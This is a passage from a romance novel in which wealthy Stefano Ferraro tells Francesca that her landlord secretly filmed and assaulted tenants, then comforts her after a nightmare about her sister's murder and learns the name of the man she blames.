"What the hell were you thinking, living in a place like that?" His voice was low. Venomous. Packed with menace.
She winced and studied him from under her lashes, trying not to look as if she was staring. He was really, really good-looking, but she'd seen attractive men before and her body had never responded quite so eagerly. He was totally confident in himself, bordering on arrogance and that alone should have put her off of him. Not to mention he was filthy rich and she totally detested that sort of person—a man with so much money that he clearly felt the rules didn't apply to him. With all of that, she couldn't stop her body from going into full-blown meltdown.
"I don't see how that's your business." She wasn't going to tell him it was that horrible apartment or a cardboard box in an alley somewhere.
Stefano opened his jacket, took out several DVDs, prowled across the floor and held them out to her. She kept her gaze on his face. He was angry. _Really_ angry. He smoldered with a kind of rage she couldn't begin to imagine. Very slowly she allowed her gaze to drop to the DVDs in his hand. They were homemade, recorded off a machine. She took them reluctantly and turned them over to look at the labels. Her name was scrawled across the front of two of them. The third had no name, and the fourth was labeled _Vicki Wants It._
"What is this?"
"Your landlord is a fucking sex offender. He has cameras in the apartments and he spies on women undressing, showering and sleeping."
Francesca felt the blood drain from her face. She knew she'd had a completely visceral reaction to Bart Tidwell from the moment she'd met him. He made her feel sick, but he owned the building and she needed a roof over her head. "Are you sure?" Her voice was a thread of sound, a whisper.
"Would you like to see the file we have on him?" Stefano poured himself another drink, downed it and turned back to face her. His features were a mask of sheer anger. "He also creeps into apartments and rapes the women and then blackmails them. He's connected to a very powerful crime family, the Saldis, and they protect that piece of slime so witnesses never testify. He was marking you for his next target. I'm fairly certain he planned on visiting you tonight. There was tape over the lock on your door."
She shook her head, her heart stuttering hard in her chest. Her mouth went dry. "That's not possible." But it was, of course. She could tell just by his anger that it was true. He was furious.
"I didn't look at the recordings, but I suspect those are of you showering and stripping to get ready for bed."
She couldn't prevent the wince at the word "stripping" or the color creeping into her face all over again. "Oh. My. God." She forgot all about holding up the sleeping bag and covered her open mouth with her palm. Her hand shook.
She didn't have anywhere else to go. Worse, her only clothes were in that apartment and she wasn't certain she could ever bear walking in there again. "Are you sure?" She knew the answer, but she still had to ask.
His eyes locked with hers. There was compassion there. Too much. She preferred his anger. Her stomach rolled and she felt the burn of tears behind her eyes. Blinking rapidly to hold them at bay, she took a deep breath to try to calm her churning stomach.
"Do you want to see what's on those DVDs? The last one, the one that is labeled _Vicki Wants It_ , I'm certain is a recording of your landlord raping that girl. There were more of these recordings than I cared to count in that piece of shit's bedroom."
She stared at him in horror, wishing she didn't believe him, but there was no doubt in her mind that he was telling her the truth. He'd saved her. This beautiful man, far too wealthy and arrogant for his own good, the one she'd been afraid was involved in organized crime, had _saved_ her. She just persisted in thinking the absolute worst of him.
Francesca looked down at the floor. The shiny, beautiful marble floor. "Thank you, Stefano. I don't understand how this man could have gotten away with putting cameras in apartments, but I appreciate you making certain the recordings don't end up on the Internet." She couldn't think about the possibility that Tidwell might have crept into her apartment and raped her. "How did you find out about this?"
"My cousin," Stefano told her, studying her face. She looked so fragile, as if any minute she might burst into tears or just faint. He didn't know whether to hold her in his arms and comfort her or shake her until her teeth rattled.
"Emilio. He took you home, did a walk-through of your apartment and didn't like the fact that it wasn't safe. He came to me, and I decided to talk to the owner about making certain his tenants were safe. My cousins, Renato and Romano as well as Zia Rachele and Zio Alfeo immediately began gathering information on him. They're investigators. That's what they do and they don't make mistakes. When I went to Tidwell's apartment, we discovered the screens up. You were on one of them, sleeping. It was easy enough to see he was recording you while you slept. From the labels on the rest of the DVDs, it wasn't that difficult to guess what was on the other recordings he had of you."
Her long, feathery lashes fluttered again and she shook her head. She'd gone from blushing to pale in the space of a few moments. Every protective cell in his body responded to her. She suddenly looked terribly young and vulnerable to him.
His body reacted, something that never happened to him. He was all about control and any kind of sexual response to a woman was allowed only when he was in a bedroom, certainly not when he was discussing a sexual predator with a potential victim. Totally inappropriate, but nevertheless, all he could think about was kissing her.
"I'll have to thank Emilio." She spoke in a small voice, barely a whisper.
"Do you want a drink?"
She pushed back the heavy fall of hair. Under the lights, the thick mass gleamed like silk, and he wanted to bury his fingers in that richness. Her lashes lifted and she met his eyes. The impact hit him low, like a wicked punch, a shot to his groin that heated his blood and made him feel primitive and a little bit savage. He was Sicilian, hot-blooded, and for the first time in his life, he knew what that meant—and it had nothing to do with his rather foul temper.
"Yes, please."
She was completely panic-stricken and trying not to show it. He wanted to hold her. Comfort her. Take her to his bed and make her forget everything but him. He poured a small amount of brandy into a crystal glass and walked across the room to her. His shadow, cast by the overhead chandelier, reached for her. Simultaneously, her shadow threw out a feeler, and as if powerful magnets, the two tubes connected. The jolt was hard, pouring steel into his cock. He nearly burst right through his trousers.
Francesca's eyes widened. Clung to his. Her lips parted, and he saw the telling flush on her face. She was no longer holding the sleeping bag up and it had fallen to her waist. Beneath the thin tee, her breasts rose and fell, her nipples hard little peaks, pushing at the worn material. That same sexual jolt had hit her just as hard.
Stefano stalked across the room, put the glass of brandy down on the small table beside the couch and leaned into her, both fists planted on either side of her hips. Close. So close he could see that her skin looked flawless and her lashes were even longer than he'd thought. Her scent caught at him, enveloping him in orange and cinnamon.
"You scared the hell out of me," he hissed, his anger boiling to the surface all over again, this time mixing with a fireball of pure lust.
She had to shrink back, save herself, do something, anything at all to help him stay in control. She didn't move away from him. The air felt electric. Their shadows remained connected, heightening his awareness of her. Of every breath she took. The length of her lashes. Her parted lips, a soft bow of a mouth, the tip of her tongue, her high cheekbones and the vulnerable line of her jaw.
He wanted to taste her more than he wanted to breathe. He realized it wasn't a want so much as a need. He froze, his face inches from hers, imposing iron will on himself. Never, at any time in his life, had he lost control, not until the situation involved her. Francesca Capello. His brother had had to pull him back from killing the piece of crap Bart Tidwell. Here, he was, standing over the top of her, a woman who was clearly afraid of him, about to kiss her. His life was about control. Where the hell was all that famous control now?
Francesca's lips rubbed against each other, a slow, sexy, _enticing_ movement that robbed him of his ability to breathe. He couldn't remember wanting a woman the way he wanted her. Her scent surrounded him until he was drowning in a field of cinnamon and orange. Every breath he drew into his lungs took her with it until he felt her inside him.
"Stefano."
He groaned at the sound of his name. Soft. Sensual. Filled with longing. She felt it, too, that terrible pull brought on by the connection of their shadows. Brought on by the chemistry raging between them. She didn't understand it and there was fear in her eyes. Fear and longing. Need almost as great as his. She shifted her body very subtly toward his, her face lifting a fraction.
"You scared the hell out of me," he repeated, much softer this time.
Her lashes fluttered. Long. Feathery. Gorgeous. "I'm sorry. I didn't know."
"You shouldn't have been there, Francesca." It took effort to stay unmoving, while he battled for control. This was going to be the greatest fight of his life. He couldn't afford to lose. He was fighting for his life. For the life of his family.
She moistened her lips so they glistened invitingly. Tempting him. Enticing him closer. Did she know what she was doing? He doubted it. There was too much innocence on her face. Too much fear in her eyes.
That fear and innocence gave him back his control. He straightened, taking himself out of danger. He stepped back, his body hard, full and painful. That part of him wasn't under control. He turned away from her and went back to the decanter, every step difficult.
"Why didn't you stay with Joanna?" He kept his back to her as he poured liquor into his glass. He didn't want her to see the rage swirling so close to the surface. Rage at her friend who would allow her to stay in such dangerous circumstances.
"She wanted me to, but I felt like she'd done too much for me already." The confession was low.
He turned his head and looked at her over his shoulder. Her chin was up. She wasn't defeated, just frightened. "So you deliberately put yourself in danger for the sake of your pride?"
She opened her mouth to protest but snapped it closed just as quickly. Genuine confusion slid over her face. "I don't know. I guess that's exactly what I did. I didn't realize that Tidwell was such a sleaze . . ." Her voice trailed off and she looked away from him, more color creeping under her skin. She looked down at her hands. "I did know he was a sleaze, but it never occurred to me that he would put cameras in the apartments."
"Or tape over your lock so he could come in whenever he wanted and rape you?" There was no keeping the edge from his voice. He still wanted to shake her. "You didn't try the door to make certain it was latched. You knew you were in a dangerous situation and yet you didn't take precautions."
There was a long silence. It stretched out between them. He knew how to use silence. He lived in silence. He worked in silence. Silence gained him the upper hand because he exercised control. He tossed back the bourbon and let the fire settle in his belly, warming him when he hadn't realized he'd been so cold.
"I don't have any clothes." Her gaze came back to his. She'd told him the same thing in the car. Clearly she was concerned about it.
She looked . . . vulnerable. Forlorn. That look tugged at his heartstrings. He turned back toward her and leaned one hip lazily against the table.
"That's not a worry. We'll get you clothes. You had the money in the coat."
Color swept up her neck into her face. He hadn't realized a woman could blush so much.
"I didn't want to use your money. I didn't know when I could pay it back." She cleared her throat. "I didn't mean in general. I have clothes, just not here. Just not _on_." She put the tip of her thumb in her mouth and bit down, her gaze not meeting his, but settling on his jaw.
"I see how that could be considered a problem." Humor crept into his gut, easing some of the worst knots. "I'll be right back." He left her, knowing she couldn't very well hop into the elevator and make her escape.
In the master bedroom, he selected one of his favorite shirts. The material was soft and would drape on her body lovingly. Because of the difference in their sizes, she would be sufficiently covered, but she still couldn't run off when she fully realized she didn't have a place to go.
When he returned to the room, her gaze jumped to his and then shifted away as he handed her the shirt. She took it, and the movement caused the sleeping bag to drop lower, pooling around her waist. She wore a thin T-shirt. There was a hole up by her right shoulder, allowing him to catch a glimpse of her soft skin. That little hint sent another rush of hot blood coursing through his veins.
Her breasts rose and fell beneath the material. He could see the outline of her nipples, the way they pushed hard against the restraint. She was nearly as aroused as he was. For a moment, he couldn't breathe. Couldn't speak. He could only look at her and savor the moment, knowing she belonged to him.
"This will do until we get you some clothes."
"I can't stay here." She made the declaration, obviously having worked herself up in the short time he was gone.
"Just for tonight. I have several rooms, and you'll be safe. If you're worried, you can put a chair under the doorknob." Not that that would ever keep him out, but he wasn't going to tell her that—yet. "You can get a good night's sleep and we'll tackle the problems in the morning."
She took a deep breath and without realizing she was doing it, rubbed the fabric of his shirt against her cheek. He recognized it as a nervous gesture, but to him it was significant. She didn't realize it, but already she was turning to him for reassurance.
"I don't see how this situation can be resolved," Francesca said. "I can't go back there, but I can't afford anything else."
"A situation can always be resolved. You're _not_ going back there and we'll figure it out in the morning. I'll give you a couple of minutes to change out of the sleeping bag and into my shirt."
He allowed a trace of amusement to enter his voice. She rewarded him with a faint smile.
"I don't know, Stefano. This sleeping bag is pretty chic. The latest rage."
"I'll admit, on you, it looks pretty good, but I don't think you can walk around—or run from me like you'd prefer."
Her smile widened. Reached her eyes. Lit them so they glittered like gems. "I think I'm so exhausted that I'll kick off my running shoes for the night." The smile faded. "Honestly, Stefano, thank you for rescuing me."
His gut clenched hotly. "You're very welcome. Do me a favor and next time give me the benefit of the doubt."
"So you think there will be a next time?"
"Without a doubt." His phone buzzed and he glanced at the screen to identify the caller. "If you'll excuse me for a moment . . ." He turned his back on Francesca and made for the doorway. "Tell me, Vittorio." He listened to the explanation Joanna had given to his brother and anger began to swirl like a dark, murderous shadow in his belly.
"That isn't good enough. You tell Joanna that excuse is bullshit. The minute she knew Francesca was living in that building and wouldn't listen to reason, she should have come to me. I don't give a flying fuck if I intimidate her. She could have gone to you or Giovanni," he hissed. "She could have had her uncle call us. What she did was totally unacceptable."
He glanced over his shoulder, feeling Francesca's eyes on him. She had crawled out of the sleeping bag and dragged her T-shirt over her head, tossing it aside on the couch. She pulled on his shirt hastily, giving him a glimpse of bare skin and full curves. Need slammed into him, in spite of the anger. It was urgent, hot and decidedly uncomfortable. He watched her slide the buttons closed, one by one. He didn't take his gaze from the sight and she didn't look away from him. Not once.
"I've got to go, Vittorio. Please make certain she understands that Francesca will never be allowed in that kind of danger again. I will hold her responsible, and she doesn't want that." He snapped the phone closed and shoved it in his pocket.
Francesca swallowed hard. "Are you angry with Joanna for some reason?"
"Yes." His voice was clipped. Abrupt. It was the best he could do because he still wanted to drag Joanna out of her safe bed and scare the holy hell out of her.
"Why?"
She walked closer to him on her bare feet. She had small feet and shapely legs. The tails of his shirt came just midway down her thighs. The shirt enveloped her, but she looked sexy and enticing, as if she was wrapped up like a present for his bedroom.
He allowed his gaze to drift possessively over her body before coming back to her face—that face that he found so beautiful. "Francesca, you live in Ferraro territory, and that makes you mine. You don't have to understand it, but just accept that what I'm telling you is the truth. My family looks out for the people here. We take their safety and well-being seriously. If anything had happened to you, there would have been far-reaching consequences."
She nodded slowly, the pad of her thumb slipping between her teeth. She bit down in agitation. His cock jerked in reaction.
"What has that got to do with Joanna?" She halted a few feet from him.
"Joanna has lived in our territory all of her life. She's been safe and she counts on feeling safe. She knew better than to allow you to live in that shit hole."
She winced at his language, making him aware of it. He wasn't a soft man. He never had been and he certainly didn't mince words.
"Joanna doesn't have a say in anything I do. She objected, but I didn't want to take her money. She lent me the money for the bus ticket out here. She's been nothing but kind to me. She didn't turn her back on me even when it meant she was jeopardizing herself. I couldn't take more from her."
There was a long silence and her gaze skittered away from his when she realized exactly what she'd revealed to him. So there was a problem, something big that made her other friends and possibly family turn their backs on her. Joanna hadn't. He could be grateful for that.
"What happened that others turned their backs on you?" He made a conscious effort to soften his tone.
Her chin went up. She squared her shoulders. "It's of no consequence. I asked you why you would hold Joanna responsible for my actions. She couldn't force me to do what she wanted."
"She should have come to me." His tone said it all and he knew she got the message. Joanna might not be able to force her to compliance, but he could. He kept his gaze on hers, not allowing her to look away from him again. Wanting her to see he meant business.
"You aren't responsible for me."
He shrugged. "You saying that doesn't make me feel any different."
"Stefano, I have to ask you this, and I don't want you to be angry with me. It's just that you're very scary at times and I don't understand what's going on here."
"What's going on here is that I'm attracted to you. Aside from that, you belong in my territory. That means I protect you whether or not you like it and whether or not you're always comfortable with how I go about protecting you."
"Are you mafia? A part of organized crime?"
He kept his eyes on hers, refusing to allow her to look away. If she had the audacity to ask such a question, she should have the courage to look him in the eye while she did it.
"Does it matter to you what I do?"
"Of course it does. I don't like the idea of anyone selling drugs or running guns, doing anything so deplorable, protecting me."
"I can assure you I don't sell drugs, nor does any member of my family. We don't run guns, either."
He saw the relief on her face. She pushed at her hair and sent him a tentative smile. "I think you're right about going to bed. It's been a long day and I need to sleep before I figure out what I'm going to do next."
He indicated for her to follow him. He hadn't lied to her. No member of his family would even consider selling drugs or running guns. That didn't mean they never worked with the scum who did do those things. He pushed open the door to one of his guest bedrooms. "This room has a private bath. I'm close if you need anything. Otherwise, sweet dreams, baby. Don't forget the chair under the doorknob."
# CHAPTER EIGHT
Francesca drew the covers to her chin, snuggling down between the luxurious sheets. The mattress was pure heaven. The sheets felt even better. Sleeping in the street, in a shelter, or on the floor in a sleeping bag wasn't conducive to a great night's sleep. Worse, as a rule, she was afraid to close her eyes, but the bed was sheer bliss. The room was huge, much larger than the entire apartment she'd rented. She shivered, trying not to think about Bart Tidwell staring at her as she showered. It was such a violation.
She looked around the tastefully decorated room and wished she could stay. For the first time in three years she felt safe. She knew it was because of Stefano Ferraro. She had no idea why he made her feel safe, when she knew absolutely that he was a dangerous man, but he did. She wished she could stay right there in that wonderful room, in the even better bed, and just feel protected and cared for.
She crammed her fist into her mouth, closing her eyes, deeply embarrassed that she'd asked him if he was a member of organized crime. He'd been good to her—she couldn't deny that. He might have used crude language, but he'd been decent, and she'd rewarded him with false accusations. She'd lost faith in everybody. In everything. The justice system. Her former friends. Her former boss.
There had only been Joanna, and now she'd gotten her in trouble through her own stubbornness and pride. If she was being entirely honest, she didn't want to owe Joanna anything more because she couldn't bear to be hurt again. She didn't want to trust her more than she had to, and that was a very sorry thing to have to admit about herself. Joanna had proven to be a good friend. A better friend to her than she was to Joanna.
She felt herself drifting. Trying not to think about Stefano or his gorgeous, very hot, over-the-top masculine looks. She secretly liked that he was bossy. It made her feel as if he could really protect her from anything, although she knew better. Reality was far different from daydreams.
What woman in her right mind wouldn't fantasize about Stefano? She could give herself that. He was wealthy, handsome, confident, everything a woman could possibly want in a man. She knew he wasn't for her, so it wasn't a good idea to think about him while falling asleep, especially when she was in his home, in his bed.
She allowed her eyes to close and conjured up an image of her beloved sister, Cella. She was older by nine years and in Francesca's mind, absolutely stunningly beautiful. That had been the trouble. Cella was so beautiful she could stop traffic. It was impossible for anyone not to notice her. Noticing led to temptation. Temptation led to murder.
Cella's smile, as she stared back at Francesca, faltered. She opened her mouth to say something. To call out. To scream. She reached a hand toward Francesca, looking scared. Terrified. Pleading. Francesca reached for her, trying to connect, trying to hold on, to keep her sister with her. Blood spattered across Cella's face. Down her body. She was naked, her clothes ripped from her. There were bruises marring her skin, and five puncture wounds on her body. Each wound had blood dripping from it. One spouted like a fountain.
Francesca dropped to her knees beside her sister and covered the spray with both hands, pressing deep, sobbing, calling her sister's name, imploring her to stay. To not leave her alone. Her phone felt slippery as she called 911, and she dropped it twice, trying to punch in the numbers, Cella's blood all over it. Cella coughed, bringing up blood. It bubbled all around her mouth. Her eyes widened as she stared at Francesca. One hand reached for her. She coughed. Gurgled. Then her head turned and only her eyes stared. Lifeless. Gone.
Francesca screamed, "No! No, Cella, don't leave me. You can't leave me." Anguish was raw and terrible, ripping at her heart. Her screams tore at her throat. She lifted her horrified, grief-stricken gaze to stare up at the man framed in the doorway.
He sneered at her. "No one will believe you, Francesca. You'd better do what I say or you'll find yourself in trouble. You can end this anytime."
She launched herself at him, trying to take him to the ground, thinking she could hold him there until the police arrived. She was crying and her tears nearly blinded her. She couldn't see him clearly.
"Wake up, _bambina_ ," a male voice commanded. It was a command. Nothing less. "Open your eyes. Look at me."
She fought hard, trying to punch and kick. Her eyes _were_ open. He was there. Watching her. He was always watching her. Laughing when the police dismissed her claims, ignored all of the evidence because it was _him_. He'd warned Cella. And then he'd killed her. Now he was warning her.
"Francesca. Open. Your. Eyes. Look at me."
Her wrists were pinned to the mattress on either side of her head. He was strong. Enormously strong. There was no way to break free. A sob escaped. Panic choked her. If she did, if she opened her eyes and it was him . . .
" _Dolce cuore._ You're killing me here. Look at me."
This time the voice was soft. Gentle. The tone found a path through the fear lodged so deep in her throat. In her belly. He held her wrists together with one hand, but he brought her body tight against his, holding her. His other hand pressed her face into his solid chest. She inhaled and brought a familiar scent into her lungs. Her body recognized it before she did. Stefano. She loved the spicy, masculine scent that seemed to seep into her body through her pores.
She pressed deeper into him, and he let go of her wrists to slide his arm around her back, locking her to him. "That's my girl. Relax. You're safe." His fingers delved deep into her hair, massaging her scalp. She'd never felt so safe and the panic began to slowly subside.
Francesca became aware that she was crying. She heard the soft sobs first. Muffled. A little wild. Stefano murmured to her in Italian. She understood a few of the words. Not many, because her parents had spoken the language in her home and she'd lost them. Once they were gone, Cella spoke mostly English. Sometimes it was . . . _Bella. Cara. Carissima._ She could have sworn he brushed kisses in her hair.
_"Bambina_ , you have to stop crying. Take a breath and talk to me. It was a nightmare. You're here with me. Safe. Nothing can get to you here."
"He can," she said, the panic welling up again. Smothering her. "He'll hurt you. Joanna. He'll say terrible things and I'll lose my job. I have to . . ."
His hand found her chin, prying her face from his chest. He tipped her face up and brought his down. Close. "Look at me, _bella_. I am not a man others fuck with. Not ever. You're here. With me. That means you're safe." There was an edge to his voice.
She wanted to smile and the choking fear and panic slipped further away. She forced her lashes to cooperate. The moment she opened her eyes, he was there. Stefano. His face was close. That hard jaw. The masculine beauty. His eyes. The arrogant confidence and the aura of danger clinging to him. It was all there. She felt more protected than she'd felt for years. She wanted to stay right where she was, close to him. Feeling how solid he was. All muscle. He had a steel core. Truthfully, he was the first and only man she believed might be able to keep her safe.
It wasn't fair to him. To stay with him, knowing he felt he had to defend everyone around him, was wrong. She should find the strength to leave so she wouldn't endanger him, but there was nowhere to go. She had no money. She had nothing at all.
"I'm sorry," she whispered. Hating herself. Knowing she was going to give him that burden. That danger. Because she could no longer do this alone. She wasn't living. She was existing. Every second of every day, she was terrified. One could only live with terror for so long. Not just terror. Anger. Guilt.
Stefano Ferraro was an unexpected complication. Or savior. She had chemistry with him, intense and scary, but it was there and she'd never felt it before. Not like that. He'd said he was attracted to her. It was obvious that physically, he was. She knew if she let anything happen between them, he would be bossy and controlling. She didn't believe in relationships where one person was needy, and yet she was. She was exactly that person, but that wasn't the real her. It was circumstances.
"You're back with me." Relief tinged his voice. His arms slid around her again and he held her close, her ear over the steady beat of his heart. One hand stroked caresses in her hair. "Do you have nightmares often?"
She had to give him the truth if she was going to give him the worst of her. "Yes. All the time. I don't sleep more than a few hours a night because they come often. Every time I close my eyes."
She didn't lift her head. She couldn't tell him while she looked at him because the guilt would overwhelm her. She knew how a man like Stefano would react to her disclosure. He'd asked, but still, she knew he was off-the-charts protective. If he were really interested in her as a woman, he'd be even more so.
"I dream about Cella and the murder. Nearly every night. Again and again."
There was silence while his hand moved in her hair. She wanted to look up at him, but she couldn't bring herself to do it. Not yet. Not when she was throwing him into the pit where demons lived. She didn't know when it had happened. Maybe when he'd been so angry over the DVDs he'd handed her. The tone in his voice, his abhorrence that any man could act that way toward a woman, for one brief moment she'd let down her guard and he'd slipped in.
His coat. The bane of her life. The money. The way he'd talked to the little boy. Ruffled his hair. So sweet. The older woman, Theresa Vitale, who had cried and moved him to help her. The way he talked about the people in his neighborhood. There was genuine caring there. Unreal to her when she'd never seen it or known it until him. He'd found a crack in her armor and he'd slipped right in so that she trusted him when she barely knew him. When she didn't trust anyone.
"I'm sorry, _dolce cuore_. When did this happen?"
She couldn't believe he could sound so gentle. Stefano didn't strike her as a gentle man, yet he had been with Tonio, the little boy, and Theresa Vitale, the older woman. Even with Lucia and Amo Fausti. She moistened her lips and forced herself to look up, into his piercing blue eyes.
"A year ago. Almost eighteen months."
"Like yesterday," he murmured, still stroking her hair. "I'm so sorry."
She nodded, blinking back more tears. The aftermath of a nightmare always left her wrung out and exhausted emotionally, yet wide awake, afraid to go back to sleep.
"Did they catch him?"
She stiffened. She couldn't help herself. Her gaze started to slide from his but he caught her chin in an unbreakable grip.
"Answer me, Francesca. The truth."
"Someone confessed." That was strictly the truth. "He didn't go to prison because he was terminally ill. He died six months ago."
"But," he coaxed gently, "you don't believe he was guilty."
She took a breath, wishing she could pull her gaze from his, but it was like being held captive. She was chained to him, body and soul, and she had no idea how, in the faint light from the open window, that had happened. There were shadows all over the room. Her shadow merged with his on the wall. That was how she felt when she was close to him like this. Merged. Connected. One skin instead of two. Wrapped in chains, so that they both were irrevocably tied together.
"No. It wasn't him. I came in after and I saw him. I knew him. He spoke to me. Taunted me."
His blue eyes darkened to pure steel. "He threatened you?"
She nodded slowly. "I told the police, but they didn't believe me. He took away my job and my home and everything I had. Twice in the middle of the night he came with some others and tore up my apartment. Damaged the walls, ripped out the toilet, broke things, put horrible scratches in the floor . . ." She broke off, her hand going to her throat because she feared she'd choke to death on the large lump blocking her airway. "He could do that here," she added in a small, gasping voice.
"Take a breath, Francesca. Look around you. I own this hotel. There's security here. I'm here. He can't get to you and neither can his friends."
She drew in air and took the scent of him deep into her lungs. The nightmare was beginning to fade. and with clarity came horror at what she was doing. She wasn't the type of woman to manipulate anyone into doing something dangerous, such as standing in front of her—as she knew Stefano would—to protect her from the likes of the man who had murdered her sister. It was a despicable thing to do, and no matter how terrible her circumstances, she had no right to drag anyone else into her personal nightmare.
She tried to shift subtly, to pull back, give herself a chance to rethink what she was doing. His arm, locked across her back, held her in place.
"Stefano, he can get to anyone. He has money. Power. Politicians and cops in his pocket. He has lunch regularly with the governor of California and the local district attorney. He plays golf with the senator. He runs in your . . ." She broke off, her gaze sliding from his. "Circle," she finished lamely.
"His name."
She hesitated. This was what she wanted, but it wasn't right. She would be a terrible person for involving him more than she already had. "Stefano, I'm sorry. I really shouldn't even be talking about this, especially to you." She couldn't look at him. Shame burned through her. "I can't imagine your life, the way you have to live, always thinking you have to protect and take care of everyone around you. You make it easy to shift burdens your way. You don't protest. You don't ask for space. You just take control and no one has to worry but you."
His thumb and finger gripped her chin, lifting her face so she once again had no choice but to meet his eyes. " _Bambina_ , I am that man. Don't make me out to be a saint, because I'm anything but. You aren't going to find me easy to live with, and I assure you, Francesca, we will be living together. I knew the moment I laid eyes on you what I wanted. You can turn over those burdens to me, and you won't ever have to worry. With that comes the price of belonging to me. Above all things, I want you safe. So tell me his name."
Her breath caught in her lungs at his declaration. The idea of belonging to him was both terrifying and exhilarating. She couldn't look away from his eyes. She'd only just met him yet she felt that she'd known him forever. She knew he was dangerous, possibly more dangerous than Barry Anthon, but still, that connection between them was so strong, she couldn't imagine not having him in her life in some capacity.
"I think I manipulated you to this point. I didn't start out that way, and then I did, and now I . . ." She broke off as his eyes glittered. "Stefano, you can be scary."
"Tell. Me. His. Name." He bit out each word separately. Enunciating them. Making them a command.
"Barry Anthon." She blurted out his name, and then was shocked that she had.
There was a small silence. She knew he recognized the name. How could he not? When she said he ran in the same circles, she meant it. Anthon even had his own racing team, just as the Ferraro family did.
The silence stretched, and her belly knotted. Her fingers closed into fists on his thin tee, bunching the material. Of course. She should have known. Why would he take her word over that of the police? Over Anthon's? She had been so fogged coming out of the nightmare and feeling so guilty for involving him that she hadn't stopped to think about whether or not he would believe her. How stupid. No one else had believed her. Not the landlords who threw her out of the apartments she'd rented and supposedly damaged. Not the boss she'd worked for since her teenage years. Not the police who arrested her for destroying property. Not the judges or even the lawyers who defended her. No one believed her about Cella's murder.
She strained away from him, against the hard bar of his arm, her hands going flat on his chest to push him away.
"Settle," he commanded softly, his eyes on her, but he was clearly somewhere else. "Barry Anthon the third, I presume. He has somewhat of a reputation with women."
So did the Ferraro brothers. She'd read all about them in the magazines Joanna had given her. She didn't say a word. He would have to release her sometime, and then she'd find a way to leave. She could stay in the street like Dina. The thought made her feel a little hysterical. She'd done that and it had been awful, worse than awful.
"I need to wash my face." She needed distance. She had to put everything into perspective, and she couldn't do that when he was so close to her.
His gaze searched hers for a long time. She felt as if he saw right inside of her, saw her deepest secrets, her shame for involving him, her fear that, like everyone else, he wouldn't believe that a man like Anthon had systematically set about destroying her entire life until she had nothing left. No home. No friends. No money. No way to get a job. She crushed down the sob welling up.
Stefano ran the pad of his thumb down her face, tracing her high cheekbone and making his way slowly to her lips. He rubbed his thumb along her bottom lip, his eyes darkening until her breath caught in her lungs and just stayed there. A strange throb began deep inside her, low and insistent.
"I'll make you hot chocolate. If I don't have any, I'll call down to the kitchen."
"It's too late for room service," she pointed out.
He shook his head. "What part of 'I own the hotel' don't you understand? I call down, they get me what I want, even if they have to send out for it."
"You're spoiled, Stefano."
"I suppose I am," he agreed. "Don't be long."
He slid off the bed, standing in one fluid motion that was all grace and power. He was dressed in a thin pair of sweatpants she was certain he didn't wear to bed. He'd pulled on a tight T-shirt, and he looked every bit as good as he did in his three-piece suits, although the look was entirely casual.
Francesca watched him walk out of the room, mesmerized by the way he moved. She could watch him for hours. Listen to the sound of his voice. Even when he was totally angry and scaring the crap out of her, she liked the pitch, but when he was being gentle, his voice stroked like the softest of caresses over her skin. Stefano was larger than life and he dominated a room as well as everyone in it. When he walked out, he took the warmth with him.
She shivered and wrapped her arms around her middle, rocking gently to soothe herself. He was lethal to women in a way a man like Barry Anthon, for all his wealth, could never be. Stefano might snarl, he might even manhandle a woman, but he would never hurt her. Never. She knew instinctively, like that was written somewhere in stone.
She forced her stiff legs to straighten so she could scoot to the edge of the bed. After her nightmares, her body was always painful, as if she'd run a race uphill—or gotten in a physical fight and lost. She had done something so wrong, manipulating a good man into feeling responsible for her and then blurting out the name of one of his colleagues. How incredibly stupid was that? She was ashamed of herself and angry, too. She knew better. She was a better person than that. Cella had raised her, and she would have been ashamed of her.
Barefoot, she padded to the gleaming bathroom. It was large—larger than the kitchen and bedroom combined in her little apartment. The bathtub looked inviting, and she gazed at it longingly while she just stood there, trying to decide what to do. Stefano was probably calling Anthon right that moment. How could she have been so careless? Even Joanna didn't know all the details, but Francesca had been so selfish telling Stefano the truth, needing to feel safe, wanting to stay in Ferraro territory because she liked the neighborhood, and secretly she was so attracted to him. It would serve her right if he was talking to Barry right that moment.
"Francesca, get a move on."
He sounded impatient. Bossy. _So_ like him. "Keep your panties on," she called back, smiling at the exasperated sound of his voice. The minute the admonishment slipped out, she clapped a hand over her mouth. She didn't need to make him angry by being her smart-mouthed self, or worse, have him think she was flirting. He might say he was attracted, and she definitely was, but he wasn't the type of man for a woman like her, under any circumstances, let alone the one she found herself in.
Right now, she was the damsel in distress and he was the white knight riding to the rescue. She'd even helped to manipulate him into thinking she was just that. Until she had revealed the name of her enemy. She'd vowed to rebuild her life and find a way to take Barry Anthon down. Her. Not someone else. Now that she was thinking clearly again, she wasn't going to shove her fight onto anyone else. It was too dangerous. In any case, the chances that Stefano Ferraro and Barry Anthon were friends were extremely high.
She pulled her hair back, braided it and, without a hair tie, just left it braided and hoped it stayed long enough to wash her face. The soap was a gel and smelled like heaven. Beside the gel was a moisturizer and she lathered it on.
When she walked out of the bedroom, Stefano was right there, draped lazily against the hall wall opposite her door. "Did you just tell me to keep my _panties_ on?" His voice was pitched very low. Quiet.
Her heart stuttered. "I might have. That depends," she hedged.
" _Hmm._ " He straightened in one of his powerful, controlled, fluid movements that could rob a woman of breath for the next century, and held out his hand. "I think you're feeling better. You sassed me. People don't sass me, Francesca. Not. Ever."
"They don't?" She tried to look innocent, staring first up at his face and then at his hand. There was no reading his expression so she slipped her hand into his. Instantly his fingers closed around hers. Warm. Tight. Firm. He gave a little tug and started down the hall with her. "Not even your sister?"
"No. Not even my mother."
"Why not? I think sass is just what you need. I think, from observation, that you tend to get everything your way." Her heart beat too fast. She didn't know why he was teasing her, but it was better than having him throw her out on the street. Much better. Still, it wasn't true that he got everything his way. He hadn't wanted to leave the pizza parlor. He was enjoying having dinner with her, but he left for Theresa Vitale. She supposed he was dragged away often from things he wanted so he could help others.
"I need instant obedience," he said.
He smiled at her and her heart nearly stopped. She found it impossible to breathe. He had the sexiest smile she'd ever seen in her life. He could get just about anything from her with that smile. Staring at him, she nearly stopped moving because she couldn't remember how to walk. Her brain short-circuited. She concentrated on putting one foot in front of the other and followed him to the very spacious kitchen.
Francesca looked around her. "You live in a hotel. Why do you need a kitchen like this?" She touched the stove with reverent fingers. "This is state-of-the-art. I could do things in this kitchen."
"You cook?" He let go of her hand and indicated the high-backed leather stool at the bar.
Francesca nodded as she climbed up onto the stool. "I love to cook. Growing up, Cella worked and I took care of the house. I spent a great deal of time watching cooking channels and trying out recipes until I understood the art of cooking—and it is an art if you love it, which I do. Even after I was old enough to work, I did the cooking."
